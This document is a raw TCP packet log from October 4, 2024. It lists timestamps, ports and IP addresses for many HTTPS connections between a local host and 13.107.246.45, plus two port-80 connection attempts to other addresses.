Oct 4, 2024 09:53:17.522288084 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.522347927 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.522409916 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.522547960 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.522559881 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.522639036 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.522648096 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.522739887 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.522773027 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.536818027 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.538031101 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.538081884 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.538113117 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.538129091 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.538150072 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.538161039 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.540143967 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.540231943 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.540298939 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.540430069 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.540462017 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.543754101 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.543895006 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.543956995 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.544887066 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.544909954 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.544934988 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.544946909 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.546588898 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.546633959 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.546742916 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.546896935 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.546915054 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.160960913 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.161416054 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.161432981 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.161839962 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.161844015 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.166546106 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.166862965 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.166882038 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.167274952 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.167284012 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.170533895 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.170849085 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.170929909 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.171231031 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.171243906 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.189990044 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.190004110 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.190480947 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.190541029 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.190803051 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.190815926 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.191046953 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.191113949 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.191446066 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.191458941 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.260818958 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.260984898 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.261070013 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.265373945 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.265396118 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.265454054 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.265460014 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.268495083 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.268523932 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.268589973 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.268717051 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.268733025 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.270137072 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.270582914 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.270653009 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.270725965 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.270816088 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.270816088 CEST	57159	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.270848989 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.270872116 CEST	443	57159	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.271028042 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.271074057 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.271075010 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.271234989 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.271297932 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.271307945 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.271363974 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.271368027 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.273061037 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.273096085 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.273156881 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.273248911 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.273262978 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.273273945 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.273360014 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.273436069 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.273555994 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.273591042 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.288250923 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.288311005 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.288403988 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.288435936 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.288470984 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.288558960 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.288570881 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.288585901 CEST	57161	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.288592100 CEST	443	57161	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.289833069 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.290077925 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.290138006 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.290255070 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.290280104 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.290304899 CEST	57160	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.290317059 CEST	443	57160	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.292953014 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.293040991 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.293255091 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.293385983 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.293423891 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.294500113 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.294522047 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.294588089 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.294986010 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.295027971 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.922211885 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.922703981 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.922786951 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.923147917 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.923166037 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.930057049 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.930382013 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.930448055 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.930929899 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.930948973 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.941140890 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.941448927 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.941504002 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.942107916 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.942121029 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.945164919 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.945768118 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.945822954 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.946464062 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.946475029 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.979960918 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.980371952 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.980391026 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:18.980719090 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:18.980727911 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.023866892 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.024275064 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.024322033 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.024368048 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.024413109 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.033890009 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.034615993 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.034668922 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.041223049 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.041223049 CEST	57163	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.041276932 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.041290045 CEST	443	57163	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.042778015 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.042817116 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.042860985 CEST	57162	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.042876005 CEST	443	57162	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.044598103 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.044652939 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.044775009 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.044965029 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.045145988 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.045367956 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.045481920 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.045510054 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.045690060 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.045691013 CEST	57166	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.045727015 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.045749903 CEST	443	57166	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.047010899 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.047039986 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.047272921 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.048093081 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.048108101 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.048902988 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.048991919 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.049083948 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.049190044 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.049226999 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.051311016 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.051907063 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.051976919 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.052097082 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.052098036 CEST	57164	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.052120924 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.052140951 CEST	443	57164	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.054224014 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.054276943 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.054358006 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.054511070 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.054543018 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.084662914 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.084794998 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.084858894 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.084912062 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.084912062 CEST	57165	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.084925890 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.084950924 CEST	443	57165	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.087012053 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.087033033 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:19.087117910 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.087227106 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:19.087236881 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.389853954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:53:20.391253948 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:53:20.497664928 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.498183012 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.498195887 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.498725891 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.498729944 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.502712965 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.503021002 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.503066063 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.503319025 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.503351927 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.503364086 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.503581047 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.503648996 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.503882885 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.503895998 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.504349947 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.504590034 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.504621029 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.504890919 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.504900932 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.514980078 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.515412092 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.515433073 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.515647888 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.515661955 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.599445105 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.599575996 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.599627018 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.599807978 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.599822044 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.599847078 CEST	57168	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.599853039 CEST	443	57168	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.602510929 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.602713108 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.602790117 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.602859020 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.602905989 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.603039980 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.603066921 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.603085041 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.603118896 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.603118896 CEST	57170	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.603149891 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.603174925 CEST	443	57170	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.604635954 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.604697943 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.604795933 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.604875088 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.604908943 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.604934931 CEST	57167	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.604950905 CEST	443	57167	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.605515957 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.605604887 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.605700970 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.605829954 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.605869055 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.606746912 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.606769085 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.606858015 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.606981993 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.607007980 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.608684063 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.608757973 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.608870029 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.608922958 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.608935118 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.608978987 CEST	57169	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.608992100 CEST	443	57169	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.610847950 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.610903978 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.610970974 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.611073971 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.611103058 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.621392012 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.621752024 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.621826887 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.621834040 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.621854067 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.622026920 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.622051001 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.622051001 CEST	57171	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.622056007 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.622061968 CEST	443	57171	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.624011040 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.624073982 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:20.624140024 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.624283075 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:20.624316931 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.247733116 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.248267889 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.248334885 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.248747110 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.248759985 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.249973059 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.250448942 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.250534058 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.250720978 CEST	57173	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.250735998 CEST	443	57173	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.252453089 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.252824068 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.252856016 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.253292084 CEST	57174	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.253304005 CEST	443	57174	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.263410091 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.263886929 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.263916969 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.264480114 CEST	57175	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.264489889 CEST	443	57175	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.309819937 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.310189009 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.310246944 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.310606003 CEST	57176	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.310621023 CEST	443	57176	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.345648050 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.345829964 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.345906019 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.346396923 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.346438885 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.346467018 CEST	57172	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.346482992 CEST	443	57172	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:21.348817110 CEST	57177	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:21.348862886 CEST	443	57177	13.107.246.45	192.168.2.4
